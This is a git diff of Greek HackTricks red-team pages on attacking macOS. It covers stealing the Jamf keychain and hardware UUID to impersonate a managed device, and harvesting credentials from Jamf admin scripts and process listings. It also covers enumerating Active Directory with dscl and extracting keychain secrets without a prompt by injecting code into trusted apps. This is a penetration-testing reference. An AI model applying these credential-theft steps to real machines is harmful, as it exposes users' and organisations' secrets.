* Το **keychain του JAMF** από: `/Library/Application\ Support/Jamf/JAMF.keychain` το οποίο περιέχει το πιστοποιητικό της συσκευής
Με αυτές τις πληροφορίες, **δημιουργήστε ένα VM** με το **κλεμμένο** Hardware **UUID** και με το **SIP απενεργοποιημένο**, αφήστε το **JAMF keychain,** **συνδέστε** το Jamf **agent** και κλέψτε τις πληροφορίες του.
#### Κλοπή μυστικών
#### Κλοπή Μυστικών
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Μπορείτε επίσης να παρακολουθείτε την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **προσαρμοσμένα scripts** που οι διαχειριστές ενδέχεται να θέλουν να εκτελέσουν μέσω του Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Μπορείτε επίσης να παρακολουθείτε την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **προσαρμοσμένα scripts** που οι διαχειριστές ενδέχεται να θέλουν να εκτελέσουν μέσω του Jamf καθώς είναι **τοποθετημένα εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περνούν μέσω αυτών των scripts ως **παράμετροι**, οπότε θα πρέπει να παρακολουθείτε την εντολή `ps aux | grep -i jamf` (χωρίς να είστε root).
Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέες παραμέτρους διεργασιών.
### Απομακρυσμένη πρόσβαση στο macOS
### Απομακρυσμένη Πρόσβαση στο macOS
Και επίσης για τα "ειδικά" **δίκτυα** **πρωτόκολλα** του **MacOS**:
Και επίσης για τα "ειδικά" **πρωτόκολλα δικτύου** του **MacOS**:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -120,7 +119,7 @@ sudo jamf policy -id 0
## Active Directory
Σε ορισμένες περιπτώσεις θα διαπιστώσετε ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσετε να **απαριθμήσετε** τον ενεργό κατάλογο όπως είστε συνηθισμένοι. Βρείτε κάποια **βοήθεια** στις παρακάτω σελίδες:
Σε ορισμένες περιπτώσεις θα διαπιστώσετε ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσετε να **απαριθμήσετε** το active directory όπως είστε συνηθισμένοι. Βρείτε κάποια **βοήθεια** στις παρακάτω σελίδες:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -141,27 +140,27 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Επίσης υπάρχουν μερικά εργαλεία που έχουν προετοιμαστεί για το MacOS για αυτόματη απαρίθμηση του AD και παιχνίδι με το kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε υπολογιστές MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερο έλεγχο ασφαλείας γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας τα native APIs χωρίς την ανάγκη άλλου πλαισίου ή πακέτων στον στόχο.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript για την Αυτοματοποίηση (JXA) για απαρίθμηση του Active Directory.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για αλληλεπίδραση με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερο έλεγχο ασφαλείας γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας φυσικά APIs χωρίς την ανάγκη άλλου πλαισίου ή πακέτων στον στόχο.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript για Automation (JXA) για απαρίθμηση Active Directory.
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### Χρήστες
Οι τρεις τύποι χρηστών MacOS είναι:
Οι τρεις τύποι χρηστών του MacOS είναι:
* **Τοπικοί Χρήστες** Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο στο Active Directory.
* **Δίκτυο Χρήστες** — Ευάλωτοι χρήστες του Active Directory που απαιτούν σύνδεση στον εξυπηρετητή DC για πιστοποίηση.
* **Κινητοί Χρήστες** Χρήστες του Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήριά τους και τα αρχεία τους.
- **Τοπικοί Χρήστες** - Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο στο Active Directory.
- **Δίκτυα Χρήστες** - Ευάλωτοι χρήστες του Active Directory που απαιτούν σύνδεση με τον εξυπηρετητή DC για πιστοποίηση.
- **Κινητοί Χρήστες** - Χρήστες του Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήριά τους και τα αρχεία τους.
Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
Για παράδειγμα, οι πληροφορίες για τον χρήστη με το όνομα _mark_ αποθηκεύονται στο _/var/db/dslocal/nodes/Default/users/mark.plist_ και οι πληροφορίες για την ομάδα _admin_ βρίσκονται στο _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Εκτός από τη χρήση των ακμών HasSession και AdminTo, το **MacHound προσθέτει τρεις νέες ακμές** στη βάση δεδομένων Bloodhound:
* **CanSSH** - οντότητα που επιτρέπεται να συνδεθεί μέσω SSH στον υπολογιστή
* **CanVNC** - οντότητα που επιτρέπεται να συνδεθεί μέσω VNC στον υπολογιστή
* **CanAE** - οντότητα που επιτρέπεται να εκτελέσει σενάρια AppleEvent στον υπολογιστή
- **CanSSH** - οντότητα που επιτρέπεται να συνδεθεί μέσω SSH στον υπολογιστή
- **CanVNC** - οντότητα που επιτρέπεται να συνδεθεί μέσω VNC στον υπολογιστή
- **CanAE** - οντότητα που επιτρέπεται να εκτελέσει scripts AppleEvent στον υπολογιστή
```bash
#User enumeration
dscl . ls /Users
@ -187,7 +186,7 @@ dsconfigad -show
## Πρόσβαση στο Keychain
Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που, αν προσπελαστούν χωρίς να προκαλέσουν ειδοποίηση, μπορούν να βοηθήσουν στην προώθηση μιας άσκησης Red Team:
Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που, αν προσπεραστούν η προκαλέσουν εναλλακτικά μια ειδοποίηση, μπορεί να βοηθήσουν στην προώθηση μιας άσκησης κόκκινης ομάδας:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -195,15 +194,15 @@ dsconfigad -show
## Εξωτερικές Υπηρεσίες
Το MacOS Red Teaming διαφέρει από ένα κανονικό Windows Red Teaming καθώς συνήθως **το MacOS είναι ενσωματωμένο με διάφορες εξωτερικές πλατφόρμες απευθείας**. Μια συνηθισμένη ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συγχρονισμένα διαπιστευτήρια OneLogin και πρόσβαση σε διάφορες εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin.
Η Κόκκινη Ομάδα MacOS διαφέρει από μια κανονική Κόκκινη Ομάδα Windows καθώς συνήθως **η MacOS είναι ενσωματωμένη με αρκετές εξωτερικές πλατφόρμες απευθείας**. Μια συνηθισμένη ρύθμιση της MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συγχρονισμένα διαπιστευτήρια OneLogin και πρόσβαση σε διάφορες εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin.
## Διάφορες Τεχνικές Red Team
## Διάφορες Τεχνικές Κόκκινης Ομάδας
### Safari
Όταν ένα αρχείο κατεβάζεται στο Safari, αν είναι ένα "ασφαλές" αρχείο, θα **ανοίγεται αυτόματα**. Έτσι, για παράδειγμα, αν **κατεβάσετε ένα zip**, θα αποσυμπιέζεται αυτόματα:
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
## Αναφορές

View file

@ -1,41 +1,42 @@
# macOS Keychain
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
---
***
## Κύρια Keychains
* Το **Keychain του Χρήστη** (`~/Library/Keychains/login.keycahin-db`), το οποίο χρησιμοποιείται για την αποθήκευση **συγκεκριμένων διαπιστευτηρίων χρήστη** όπως κωδικοί εφαρμογών, κωδικοί internet, πιστοποιητικά που δημιουργήθηκαν από τον χρήστη, κωδικοί δικτύου και δημιουργημένα δημόσια/ιδιωτικά κλειδιά χρήστη.
* Το **Keychain του Συστήματος** (`/Library/Keychains/System.keychain`), το οποίο αποθηκεύει **διαπιστευτήρια που ισχύουν για ολόκληρο το σύστημα** όπως κωδικοί WiFi, πιστοποιητικά ρίζας συστήματος, ιδιωτικά κλειδιά συστήματος και κωδικοί εφαρμογών συστήματος.
* Το **Keychain του Συστήματος** (`/Library/Keychains/System.keychain`), το οποίο αποθηκεύει **διαπιστεύσεις σε επίπεδο συστήματος** όπως κωδικοί WiFi, πιστοποιητικά ρίζας συστήματος, ιδιωτικά κλειδιά συστήματος και κωδικοί εφαρμογών συστήματος.
### Πρόσβαση στο Keychain Κωδικών
Αυτά τα αρχεία, παρόλο που δεν έχουν ενσωματωμένη προστασία και μπορούν να **κατεβάστε**, είναι κρυπτογραφημένα και απαιτούν τον **καθαρό κείμενο του κωδικού του χρήστη για να αποκρυπτογραφηθούν**. Ένα εργαλείο όπως το [**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για την αποκρυπτογράφηση.
Αυτά τα αρχεία, παρόλο που δεν έχουν ενσωματωμένη προστασία και μπορούν να **κατεβάστε**, είναι κρυπτογραφημένα και απαιτούν τον **καθαρό κείμενο του χρήστη για να αποκρυπτογραφηθούν**. Ένα εργαλείο όπως το [**Chainbreaker**](https://github.com/n0fate/chainbreaker) μπορεί να χρησιμοποιηθεί για την αποκρυπτογράφηση.
## Προστασίες Καταχωρήσεων Keychain
@ -47,15 +48,15 @@
* **ACLAuhtorizationExportWrapped**: Επιτρέπει στον κάτοχο να λάβει το καθαρό κείμενο κρυπτογραφημένο με έναν άλλο καθορισμένο κωδικό.
* **ACLAuhtorizationAny**: Επιτρέπει στον κάτοχο να εκτελέσει οποιαδήποτε ενέργεια.
Οι ACLs συνοδεύονται επίσης από μια **λίστα αξιόπιστων εφαρμογών** που μπορούν να εκτελέσουν αυτές τις ενέργειες χωρίς προτροπή. Αυτό μπορεί να είναι:
Οι ACLs συνοδεύονται επιπλέον από μια **λίστα αξιόπιστων εφαρμογών** που μπορούν να εκτελέσουν αυτές τις ενέργειες χωρίς προτροπή. Αυτό μπορεί να είναι:
* &#x20;**N`il`** (δεν απαιτείται άδεια, **όλοι είναι αξιόπιστοι**)
* **N`il`** (δεν απαιτείται άδεια, **όλοι είναι αξιόπιστοι**)
* Μια **κενή** λίστα (**κανείς δεν είναι αξιόπιστος**)
* **Λίστα** συγκεκριμένων **εφαρμογών**.
Επίσης, η καταχώρηση μπορεί να περιέχει το κλειδί **`ACLAuthorizationPartitionID`,** το οποίο χρησιμοποιείται για την ταυτοποίηση του **teamid, apple,** και **cdhash.**
* Εάν το **teamid** είναι καθορισμένο, τότε για να **έχει πρόσβαση στην τιμή της καταχώρησης χωρίς** προτροπή η χρησιμοποιούμενη εφαρμογή πρέπει να έχει το **ίδιο teamid**.
* Εάν το **teamid** είναι καθορισμένο, τότε για να **έχει πρόσβαση στην τιμή της καταχώρησης** χωρίς **προτροπή** η χρησιμοποιούμενη εφαρμογή πρέπει να έχει το **ίδιο teamid**.
* Εάν το **apple** είναι καθορισμένο, τότε η εφαρμογή πρέπει να είναι **υπογεγραμμένη** από την **Apple**.
* Εάν το **cdhash** είναι υποδειγμένο, τότε η εφαρμογή πρέπει να έχει το συγκεκριμένο **cdhash**.
@ -72,7 +73,7 @@
Όταν μια **εφαρμογή δημιουργεί μια καταχώρηση στο keychain**, οι κανόνες είναι ελαφρώς διαφορετικοί:
* Όλες οι εφαρμογές μπορούν να κρυπτογραφήσουν.
* Μόνο η **δημιουργούσα εφαρμογή** (ή οποιεσδήποτε άλλες εφαρμογές προστέθηκαν ρητά) μπορεί να εξάγει/αποκρυπτογραφήσει (χωρίς προτροπή του χρήστη).
* Μόνο η **δημιουργούσα εφαρμογή** (ή οποιεσδήποτε άλλες εφαρμογές προστέθηκαν ρητά) μπορούν να εξάγουν/αποκρυπτογραφήσουν (χωρίς προτροπή του χρήστη).
* Όλες οι εφαρμογές μπορούν να δουν τον έλεγχο ακεραιότητας.
* Καμία εφαρμογή δεν μπορεί να αλλάξει τις ACLs.
* Το **partitionID** ορίζεται σε **`teamid:[teamID εδώ]`**.
@ -96,18 +97,18 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
Η **απαρίθμηση κλειδιών και η εξαγωγή μυστικών** που **δεν θα προκαλέσει παράθυρο ειδοποίησης** μπορεί να γίνει με το εργαλείο [**LockSmith**](https://github.com/its-a-feature/LockSmith)
{% endhint %}
Καταχωρήστε και λάβετε **πληροφορίες** για κάθε καταχώρηση κλειδιού:
Καταχωρίστε και λάβετε **πληροφορίες** για κάθε καταχώριση κλειδιού:
* Η ΑΡΙ **`SecItemCopyMatching`** δίνει πληροφορίες για κάθε καταχώρηση και υπάρχουν ορισμένα χαρακτηριστικά που μπορείτε να ορίσετε κατά τη χρήση του:
* Η ΑΡΙ **`SecItemCopyMatching`** δίνει πληροφορίες για κάθε καταχώριση και υπάρχουν ορισμένα χαρακτηριστικά που μπορείτε να ορίσετε κατά τη χρήση του:
* **`kSecReturnData`**: Εάν είναι true, θα προσπαθήσει να αποκρυπτογραφήσει τα δεδομένα (ορίστε το false για να αποφύγετε πιθανά αναδυόμενα παράθυρα)
* **`kSecReturnRef`**: Λάβετε επίσης αναφορά στο στοιχείο του keychain (ορίστε το true σε περίπτωση που αργότερα δείτε ότι μπορείτε να αποκρυπτογραφήσετε χωρίς παράθυρο ειδοποίησης)
* **`kSecReturnAttributes`**: Λάβετε μεταδεδομένα σχετικά με τις καταχωρήσεις
* **`kSecReturnRef`**: Λάβετε επίσης αναφορά στο στοιχείο του κλειδιού (ορίστε το true σε περίπτωση που αργότερα δείτε ότι μπορείτε να αποκρυπτογραφήσετε χωρίς αναδυόμενο παράθυρο)
* **`kSecReturnAttributes`**: Λάβετε μεταδεδομένα σχετικά με τις καταχωρίσεις
* **`kSecMatchLimit`**: Πόσα αποτελέσματα να επιστραφούν
* **`kSecClass`**: Τι είδος καταχώρησης keychain
* **`kSecClass`**: Τι είδος καταχώρισης κλειδιού
Λάβετε τα **ACLs** κάθε καταχώρησης:
Λάβετε τα **ACLs** κάθε καταχώρισης:
* Με την ΑΡΙ **`SecAccessCopyACLList`** μπορείτε να λάβετε το **ACL για το στοιχείο του keychain**, και θα επιστρέψει μια λίστα με ACLs (όπως `ACLAuhtorizationExportClear` και τα άλλα προαναφερθέντα) όπου κάθε λίστα έχει:
* Με την ΑΡΙ **`SecAccessCopyACLList`** μπορείτε να λάβετε το **ACL για το στοιχείο του κλειδιού**, και θα επιστρέψει μια λίστα με ACLs (όπως `ACLAuhtorizationExportClear` και τα άλλα προηγουμένως αναφερθέντα) όπου κάθε λίστα έχει:
* Περιγραφή
* **Λίστα Εμπιστευμένων Εφαρμογών**. Αυτό μπορεί να είναι:
* Μια εφαρμογή: /Applications/Slack.app
@ -121,7 +122,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
Και αυτά είναι τα **απαιτούμενα** για να μπορείτε να **εξάγετε ένα μυστικό χωρίς παράθυρο ειδοποίησης**:
* Εάν υπάρχουν **1+ εμπιστευμένες** εφαρμογές στη λίστα:
* Εάν υπάρχουν **1+ εμπιστευμένες** εφαρμογές καταχωρημένες:
* Χρειάζεστε τις κατάλληλες **εξουσιοδοτήσεις** (**`Nil`**, ή να είστε **μέρος** της επιτρεπόμενης λίστας εφαρμογών στην εξουσιοδότηση για πρόσβαση στις μυστικές πληροφορίες)
* Χρειάζεστε ταιριαστή υπογραφή κώδικα με το **PartitionID**
* Χρειάζεστε ταιριαστή υπογραφή κώδικα με αυτήν μιας **εμπιστευμένης εφαρμογής**να είστε μέλος της σωστής ομάδας KeychainAccessGroup)
@ -131,16 +132,16 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
* Εάν **δεν υπάρχει PartitionID**, τότε αυτό δεν είναι απαραίτητο
{% hint style="danger" %}
Συνεπώς, εάν υπάρχει **1 εφαρμογή στη λίστα**, χρειάζεται να **ενθαρρύνετε κώδικα σε αυτήν την εφαρμογή**.
Συνεπώς, εάν υπάρχει **1 εφαρμογή καταχωρημένη**, χρειάζεται να **ενθαρρύνετε κώδικα σε αυτήν την εφαρμογή**.
Εάν το **apple** είναι υποδειγμένο στο **partitionID**, μπορείτε να έχετε πρόσβαση με το **`osascript`** σε οτιδήποτε εμπιστεύεται όλες τις εφαρμογές με το apple στο partitionID. Το **`Python`** μπορεί επίσης να χρησιμοποιηθεί γι' αυτό.
{% endhint %}
### Δύο επιπλέον χαρακτηριστικά
* **Αόρατο**: Είναι ένα λογικό σήμα για να **κρύψετε** την καταχώρηση από την εφαρμογή **UI** Keychain
* **Αόρατο**: Είναι ένα λογικό σήμα για να **κρύψετε** την καταχώριση από την εφαρμογή **UI** Keychain
* **Γενικό**: Χρησιμοποιείται για την αποθήκευση **μεταδεδομένων** (άρα ΔΕΝ ΕΙΝΑΙ ΚΡΥΠΤΟΓΡΑΦΗΜΕΝΟ)
* Η Microsoft αποθήκευε σε καθαρό κείμενο όλα τα ανανεωμένα τοκεν για πρόσβαση σε ευαίσθητα σημεία.
* Η Microsoft αποθήκευε σε καθαρό κείμενο όλα τα ανανεωμένα τεκμήρια για πρόσβαση σε ευαίσθητα σημεία.
## Αναφορές
@ -148,26 +149,27 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε εάν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των απαγωγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Χακάρισμα του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Χακάρισμα του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε χάκερ τεχνάσματα υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS MDM
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
**Για να μάθετε για τα macOS MDMs ελέγξτε:**
@ -21,79 +22,164 @@
## Βασικά
### **Επισκόπηση του MDM (Mobile Device Management)**
### **Επισκόπηση MDM (Mobile Device Management)**
